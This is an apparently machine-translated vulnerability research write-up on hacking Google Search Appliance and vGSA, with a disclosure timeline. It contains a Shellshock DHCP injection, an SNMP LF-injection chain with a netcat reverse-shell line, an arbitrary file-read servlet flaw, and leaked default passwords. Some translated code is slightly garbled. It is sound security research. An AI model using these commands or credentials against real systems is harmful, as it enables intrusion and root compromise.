Путешествие во взлом Google Search Appliance
ТЛ;ДР
- Удаленное выполнение кода после аутентификации в консоли администратора GSA.
- Интерфейс поиска GSA Обход пути.
- GSA использует технологию Oracle Outside-in для преобразования документов.
- Веб-службы Google имеют некоторые фиксированные URI, которые предоставляют информацию о самой службе.
Введение
Google Search Appliance (далее — GSA) — это корпоративное поисковое устройство, выпущенное Google в 2002 году и используемое для индексирования и получения информации из внутренней или общедоступной сети. Примерно в 2005 году Google представила Google Mini для личного использования и малого бизнеса. Позже, в конце 2008 года, была запущена версия виртуальной машины под названием Virtual Google Search Appliance (далее VGSA). Однако в конце 2018 года Google завершила жизненный цикл продукта GSA и интегрировала его в линейку продуктов Cloud Search.
Приобретение оборудования и программного обеспечения
Нам удалось приобрести устройство, выполнив поиск «Google Search Appliance» на eBay.
К счастью, первым, что мы купили, был GSA с нестертыми данными:
Даже сейчас еще можно найти устройства, которые сейчас продаются.
С другой стороны, исходная общедоступная ссылка на vGSA была удалена. http://dl.google.com/vgsa/vgsa_20090210.7z [удалено] http://dl.google.com/vgsa/vgsa_20081028.7z [удалено]
Мы нашли файл по магнитной ссылке BitTorrent:
magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992
Затем нашел ссылку на старую версию программного обеспечения в группах Google: https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ.
http://dl.google.com/dl/enterprise/install_bundle-10000622-7.2.0-112.bin [удалено]
И мы можем получить все номера версий по адресу: http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&ref_topic=2709671 .
Угадывание правил именования файлов какinstall_bundle-10000(3-digit numbers)-7.(numbers).(numbers)-(numbers).bin
И напишите сценарий оболочки, чтобы попытаться загрузить программное обеспечение:
for((j=622;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.2.0-$i.bin;done;done for((j=661;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.4.0-$i.bin;done;done for((j=693;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.6.0-$i.bin;done;done
Включая информацию, найденную посредством поиска в Интернете, успешно получен следующий файл:
all_langs-lang-pack-2.1-1.bin all_langs-lang-pack-2.2-1.bin centos_patch_files-6.0.0-22.bin centos_patch_files-6.14.0-28.bin centos_patch_files-7.0.14-238.bin centos_patch_files-7.2.0-252.bin centos_patch_files-7.2.0-264.bin centos_patch_files-7.2.0-270.bin centos_patch_files-7.2.0-280.bin centos_patch_files-7.2.0-286.bin install_bundle-10000653-7.2.0-252.bin install_bundle-10000658-7.2.0-264.bin install_bundle-10000661-7.2.0-270.bin install_bundle-10000681-7.4.0-64.bin install_bundle-10000685-7.4.0-72.bin install_bundle-10000686-7.4.0-74.bin install_bundle-10000692-7.4.0-82.bin install_bundle-10000762-7.6.0-36.bin install_bundle-10000767-7.6.0-42.bin install_bundle-10000772-7.6.0-46.bin install_bundle-10000781-7.6.0-58.bin install_bundle-10000810-7.6.50-30.bin install_bundle-10000822-7.6.50-36.bin install_bundle-10000855-7.6.50-64.bin install_bundle-10000878-7.6.250-12.bin install_bundle-10000888-7.6.250-20.bin install_bundle-10000901-7.6.250-26.bin install_bundle-10000915-7.6.360-10.bin install_bundle-10000926-7.6.360-16.bin install_bundle-10000967-7.6.512-18.bin sw_files-5.0.4-22.bin sw_files-6.14.0-28.bin sw_files-7.0.14-238.bin vm_patch_1_for_504_G22_and_G24_only.bin
vGSA (виртуальное устройство поиска Google)
Далее мы начали исследование vGSA. По умолчанию после импорта виртуальной машины эта система предоставляет только функцию настройки сети и не предоставляет системную оболочку для работы или использования. Однако, поскольку виртуальная машина работает в нашей собственной среде, обычно можно получить системные разрешения следующими методами:
- Непосредственное изменение незашифрованных файлов диска
- Изменение памяти виртуальной машины
- Загрузка с компакт-дисков или дисков другой операционной системы
- Эксплуатация известных уязвимостей
- Использование жестко запрограммированных паролей администратора или системной учетной записи.
На следующем изображении показан экран конфигурации сети:
CVE-2014-6271
При тестировании ранних устройств и серверов Linux, особенно тех, которые используют операционную систему серии RedHat, часто возникают уязвимости Shellshock, и vGSA, выпущенная в 2008 году, не является исключением. Вставка опции 114 в DHCP-сервер будет установлена в переменной среды, тем самым активируя уязвимость и выполняя любую команду.
Была предпринята попытка вставить команду: useradd zzzzgsa
. Можно наблюдать, как эта команда выполняется неоднократно, поскольку в выводе консоли продолжают появляться сообщения об ошибках.
наблюдение за операционной системой vGSA
После успешного получения привилегий операционной системы мы можем наблюдать за сетевым окружением, запущенными приложениями и файловой системой. Вот некоторые выводы, полученные в результате наблюдения за средой операционной системы:
- Номер версии: 5.2.0.G.27.
- Сервисы в основном написаны на C/C++, Java, Python.
- /export/hda3, похоже, является каталогом, который в основном используется службой.
- /etc/shadow содержит учетную запись root с хешем пароля x███████████M.
- Интерфейс администрирования прослушивает порты 8000, 8443 с паролем администратора по умолчанию, j0njlRXpU5CQ.
- /.gnupg содержит открытый и закрытый ключи ent_box_key.
- /.gnupg содержит открытый ключ google_license_key.
- /.ssh/authorized_keys содержит два набора открытых ключей.
- /root/.ssh/authorized_keys содержит один набор открытых ключей.
- /root/.ssh/ содержит два набора открытых и закрытых ключей SSH.
- /root/.gnupg/ содержит открытый и закрытый ключи ent_box_key.
- Технология Outside In от Oracle используется для преобразования документов в веб-страницы HTML.
- Среда выполнения Java использует для защиты диспетчер безопасности.
- Функция запроса на техническую поддержку использует ppp для создания виртуальной частной сети, /etc/ppp/chap-secrets содержит пароли учетных записей ( z██████c、]███████T .
- Пароль меню загрузки в /etc/lilo.conf — cmBalx7.
- /export/hda3/versionmanager/google_key.symmetric содержит строку, которая, по-видимому, используется для симметричного шифрования.
- /export/hda3/versionmanager/vmanager_passwd содержит два набора комбинаций имени пользователя и пароля ( admin: M█████████████████████████w=:9█ █= google:w██████████████████████████o=:N██= ).
Исполняемые программы с сетевыми сервисами следующие:
серверная часть консоли администратора
Java (с менеджером безопасности)
интерфейс консоли администратора
Java (с менеджером безопасности)
Интерфейс консоли администратора (http)
Java (с менеджером безопасности)
Java (без менеджера безопасности)
Java (без менеджера безопасности)
Java (без менеджера безопасности)
Java (без менеджера безопасности)
извлекать, преобразовывать и подавать записи
Java (с менеджером безопасности)
Несмотря на наличие такого количества сервисов, большинство соединений блокируются iptables. Ниже приведены настройки iptables:
# Redirect privileged ports. # (we listen as nobody, which can't attach to low ports, so redirect to high ports) # -A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 7800 -A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 4430 -A PREROUTING -i eth0 -p tcp -m tcp --dport 444 -j REDIRECT --to-ports 4431 -A INPUT -i eth0 -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT -A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT -A INPUT -i eth0 -p tcp -m tcp --dport 7800 -j ACCEPT -A INPUT -i eth0 -p tcp -m tcp --dport 7801 -j ACCEPT -A INPUT -i eth0 -p tcp -m tcp --dport 4430 -j ACCEPT -A INPUT -i eth0 -p tcp -m tcp --dport 4431 -j ACCEPT -A INPUT -i eth0 -p tcp -m tcp --dport 19900 -j ACCEPT -A INPUT -i eth0 -p tcp -m tcp --dport 8000 -j ACCEPT -A INPUT -i eth0 -p tcp -m tcp --dport 8443 -j ACCEPT -A INPUT -i eth0 -p tcp -m tcp --dport 9941 -j ACCEPT -A INPUT -i eth0 -p tcp -m tcp --dport 9942 -j ACCEPT -A INPUT -i eth0 -p tcp -m tcp --dport 10999 -j ACCEPT -A OUTPUT -o eth0 -p udp -m udp --sport 68 --dport 67 -j ACCEPT -A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT -A OUTPUT -o eth0 -p udp -m udp --dport 137:138 -j ACCEPT -A OUTPUT -o eth0 -p udp -m udp --dport 123 -j ACCEPT -A OUTPUT -o eth0 -p udp -m udp --dport 514 -j ACCEPT -A INPUT -i eth0 -p udp -m udp --dport 161 -j ACCEPT -A OUTPUT -o eth0 -p udp -m udp --sport 161 -j ACCEPT -A OUTPUT -o eth0 -p udp -m udp --dport 162 -j ACCEPT
Ниже приводится реальная доступная поверхность атаки TCP:
/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
/export/hda3/5.2.0/local/google/bin/feedergate
/export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar
И мы обнаружили, что строки в файле /export/hda3/versionmanager/google_key.symmetric
можно использовать для расшифровки содержимого всех установочных пакетов! После получения привилегий с использованием CVE-2014-6271 и расшифровки содержимого установочного пакета наше исследование vGSA временно завершилось.
Но отсутствие защиты памяти может иметь некоторые уязвимости, которыми можно легко воспользоваться.
ГСА
Загрузив установленное устройство и попытавшись изменить последовательность загрузки, мы обнаружили, что для входа в BIOS требуется пароль. Более того, в интерфейсе управления RAID-карты Dell H700 доступны лишь некоторые функции:
Затем попытайтесь напрямую прочитать содержимое жесткого диска. Если содержимое жесткого диска не зашифровано, существует вероятность того, что операционную систему и программное обеспечение устройства можно получить напрямую. Мы обнаружили, что его жесткий диск использует для передачи интерфейс SAS. Прежде чем пытаться, необходимо приобрести карту SAS HBA. LSI 9211-8i используется для подключения в этом тесте:
После подключения и попытки чтения было обнаружено, что это самошифрующийся накопитель (SED). Для разблокировки доступа требуется пароль. OSSLab имеет более подробное объяснение здесь:
https://www.osslab.com.tw/ata-sed-security/ (статья на китайском языке)
Есть несколько способов продолжить попытку, если прямой доступ к жесткому диску невозможен:
Этот метод требует повреждения материнской платы и несет в себе определенный риск. Этот метод используется только в том случае, если на уровне программного обеспечения не обнаружено уязвимостей. Дополнительная информация: https://blog.cybercx.co.nz/bypassing-bios-password .
Для этого метода требуются специальные устройства PCI-e, которые в то время не были подготовлены. Вы можете обратиться к этому проекту GitHub:
https://github.com/ufrisk/pcileech
Этот метод проще и осуществимее.
НЧ-инъекция в консоли администратора
Зайдя в админку, мы заметили возможность получения системной информации по SNMP. Кроме того, эта функция позволяет вставлять собственные строки.:
Здесь мы попробовали классическую НЧ-инъекцию:
Введите sysContact
LF и следующую команду:
extend shell /bin/nc -e /bin/sh 10.5.2.1 4444
После вставки значения конфигурации «extend» мы можем использовать команду «snmpwalk», чтобы активировать функцию расширения SNMP и выполнить оболочку.
Команда выполнена успешно и снова соединилась с оболочкой.
Произвольное чтение файлов
Из версий серии GSA 6.x мы обнаружили, что веб-службы 80/443 используют Apache httpd в установочном пакете RPM. Существует несколько конфигураций http, расположенных в /etc/httpd/conf.d/. В файлах gsa-http.conf и gsaa-https.conf определенные каталоги перенаправляются на определенные локальные службы.
RewriteEngine on RewriteRule ^/security-manager/(.*) http://localhost:7886/security-manager/$1 [P,L] RewriteRule ^/d██████████/(.*) http://localhost:7890/dps/d██████████/$1 [P,L] RewriteRule ^/s██████/(.*) http://localhost:7890/dps/s██████/$1 [P,L] RewriteRule ^/v█████/(.*) http://localhost:7890/v█████/$1 [P,L] RewriteRule ^/$ http://localhost:7800/ [P,L] RewriteRule ^/(.*) http://localhost:7800/$1 [P,L]
Коммуникационные порты 7886 и 7890 — это службы, обслуживаемые отдельными серверами Apache Tomcat. При проксировании двух или более веб-серверов определение пути Tomcat, ..;/, является интересной контрольной точкой. Более подробную информацию вы можете найти в статье, написанной нашим сотрудником:
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days- Выход-2.pdf
Нас интересует dps
, которого, похоже, нет в старой версии GSA. Извлечение /WEB-INF/web.xml из dps.war позволяет нам проверить конфигурацию веб-приложения, и мы обнаружили, что конечная точка /font будет обрабатываться com.documill.dps.connector.servlet.user.DPSDownloadServlet
<servlet> <servlet-name>font</servlet-name> <servlet-class>com.documill.dps.connector.servlet.user.DPSDownloadServlet</servlet-class> <init-param> <param-name>rootDirectory</param-name> <param-value>work/fonts/</param-value> </init-param> </servlet> <servlet-mapping> <servlet-name>font</servlet-name> <url-pattern>/font/*</url-pattern> </servlet-mapping>
И глядя на DPSDownloadServlet
:
import com.davisor.net.servlet.DownloadServlet; import com.documill.dps.*; import java.io.*; import javax.servlet.ServletContext; public class DPSDownloadServlet extends DownloadServlet implements DPSUserService { public DPSDownloadServlet() { } protected String getRealPath(ServletContext servletcontext, String s) throws IOException { DPS dps = DPSSingleton.getDPS(); File file = dps.getHomeDir(); if(file == null) throw new FileNotFoundException("DPSDownloadServlet:getRealPath:DPS home directory not specified"); else return (new File(file, s)).getAbsolutePath(); } private static final long serialVersionUID = 0L; }
Шаг, в com.davisor.net.servlet.DownloadServlet
который простирается DPSDownloadServlet
:
protected void service(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse) throws ServletException, IOException { String s = httpservletrequest.getParameter(uriParameterName); if(!isValid(s)) { httpservletresponse.sendError(400, (new StringBuilder()).append("Invalid file path: ").append(s).toString()); return; } File file = rootDirectory.deriveFile(s); if(!file.isFile()) httpservletresponse.sendError(404, (new StringBuilder()).append("No file:").append(s).toString()); else if(!file.canRead()) { httpservletresponse.sendError(403, (new StringBuilder()).append("Unreadable file:").append(s).toString()); } else { long l = file.length(); if(l > 0x7fffffffL) { httpservletresponse.sendError(413, (new StringBuilder()).append("File too big:").append(l).toString()); } else { String s1 = MIME.getTypeFromPath(file.getName(), "application/octet-stream"); httpservletresponse.setContentLength((int)l); httpservletresponse.setContentType(s1); httpservletresponse.setDateHeader("Last-Modified", file.lastModified()); if(cacheExpires > 0L) { httpservletresponse.setDateHeader("Expires", System.currentTimeMillis() + cacheExpires); httpservletresponse.setHeader("Cache-Control", "public"); } IO.copy(file, httpservletresponse.getOutputStream()); } } } private static boolean isValid(String s) { return !Strings.isEmpty(s) && !s.contains(".."); }
Здесь вы можете видеть, что единственная проверка — содержит ли строка ..
. Однако мы можем напрямую указать абсолютный путь и напрямую прочитать любой локальный файл!
В старой версии GSA нет конечной точки /font, но /dps/admin/admin имеет аналогичную проблему с чтением файлов. Вы можете напрямую указать имя журнала для чтения файла. На схеме ниже показано непосредственное считывание пароля учетной записи из интерфейса управления системой:
После успешного взлома хэша вы можете войти в систему, включить службу SNMP и объединить ее с первой уязвимостью для выполнения произвольных команд с правами root.
Другие выводы и прочее
Внутренние URI в веб-сервисах
В GSA существует несколько подсервисов, которые взаимодействуют друг с другом по протоколу HTTP. Многие из этих служб предлагают такие URL-адреса, как /varz, /helpz и /procz. Мы можем получить к ним доступ либо в доверенном сетевом расположении, определенном для службы, либо с помощью 127.0.0.1:
В vGSA мы заметили, что существует параметр выполнения службы под названием «useripheader=X-User-Ip». Этот параметр обеспечивает прямой доступ к определенным функциям внешней консоли администратора, если он включен в заголовок запроса как «X-User- ИП».
Конечная /procz
точка может даже получать исполняемые файлы и общие библиотеки, которые они используют:
Список техники
Pentium III 1 ГБ/2 ГБ памяти/120 ГБ
Pentium 4 3G / 2 ГБ памяти / жесткий диск 250 ГБ
Xeon / 16 ГБ памяти / жесткий диск 1,25 ТБ
Xeon E5520 / 48 ГБ памяти / жесткий диск 3 ТБ
Xeon X5560 / 96 ГБ памяти / жесткий диск 3,6 ТБ
Версия ядра Linux
Версия Linux 3.14.44_gsa-x64_1.5 ( [email protected] ) (версия gcc 4.9.x-google 20150123 (предварительная версия) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu ) ) #1 SMP Пн, 23 ноября 09:19:11 PST 2015
Версия Linux 3.4.3_gsa-x64_1.5 ( [email protected] ) (версия gcc 4.6.x-google 20120601 (предварительная версия) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1 -grte) ) #1 SMP Вт, 9 июля 15:36:01 PDT 2013
Версия Linux 3.4.3_gsa-x64_1.3 ( [email protected] ) (версия gcc 4.6.x-google 20120601 (предварительная версия) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte ) ) #1 SMP Четверг, 19 июля, 11:59:57 по тихоокеанскому времени 2012 г.
Версия Linux 2.6.20_vmw-smp_3.1 ( [email protected] ) (версия gcc 4.1.1) # 1 SMP Четверг, 24 января 22:34:28 по тихоокеанскому стандартному времени 2008 г.
График
Внедрение кода Java CVE-2005-3757 сообщил HD Moore
vgsa_20081028.7z (5.2.0) выпущен
Межсайтовый скриптинг CVE-2014-0362 сообщил Уилл Дорманн
Выпущена версия GSA 7.0.14.G238.
Выпущена версия GSA 7.2.0.G252.
Выпущена версия GSA 7.2.0.G264.
Google объявил, что GSA уйдет с рынка.
Внедрение внешних сущностей XMLсообщил Тимо
Автор статьи получил данное устройство версии 7.0.14.
Выпущена версия GSA 7.6.250.G12.
Выпущена версия GSA 7.6.250.G20.
Выпущена версия GSA 7.6.250.G26.
Выпущена версия GSA 7.6.360.G10.
Выпущена версия GSA 7.6.360.G16.
Выпущена GSA 7.6.512.G18. Это должна быть последняя публично выпущенная версия.
ответил от бота и отсортирован.
Issuetracker.google.com сообщил о проблеме.
В Google заявили, что проблема не настолько серьезна, чтобы претендовать на вознаграждение, но комиссия VRP рассмотрит ее более внимательно.
Комиссия VRP решила, что влияние этой проблемы на безопасность не соответствует планке финансового вознаграждения.
Спросить, будет ли уязвимости присвоен идентификатор CVE.
Подтверждение того, что идентификатор CVE не будет присвоен.
Первый черновой вариант завершен.
Заключение
Хотя GSA/vGSA — это продукт, который достиг конца своего жизненного цикла, изучение того, как Google повышает безопасность продукта и уменьшает векторы атак на устройства, может расширить наши знания, с которыми мы обычно не сталкиваемся. Хотя это не подробно описано в этой статье, Java Security Manager и seccomp ядра Linux являются технологиями, используемыми в GSA, и это исследование также оставило некоторые цели для дальнейшего изучения:
- Служба фидергейта прослушивает порт 19900.
- Уязвимости памяти в технологии Oracle Outside-in для преобразования форматов файлов.
- Песочница Convert_to_html seccomp
Мы поделимся, когда появятся результаты исследований. Увидимся в следующий раз.
Другие справочные ссылки
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days- Выход-2.pdf
- https://opnsec.com/2018/07/into-the-borg-ssrf-inside-google-production-network/
- https://www.exploit-db.com/exploits/1333
- https://commons.erau.edu/cgi/viewcontent.cgi?article=1153&context=jdfsl
- https://www.anandtech.com/show/2407
- https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ
- https://github.com/google/subpar
- https://insinuator.net/2016/03/classical-web-vulns-found-in-google-search-appliance-7-4/
- https://github.com/kubernetes/kubernetes/issues/57760#issuecomment-356466614
- https://nvd.nist.gov/vuln/detail/CVE-2014-0362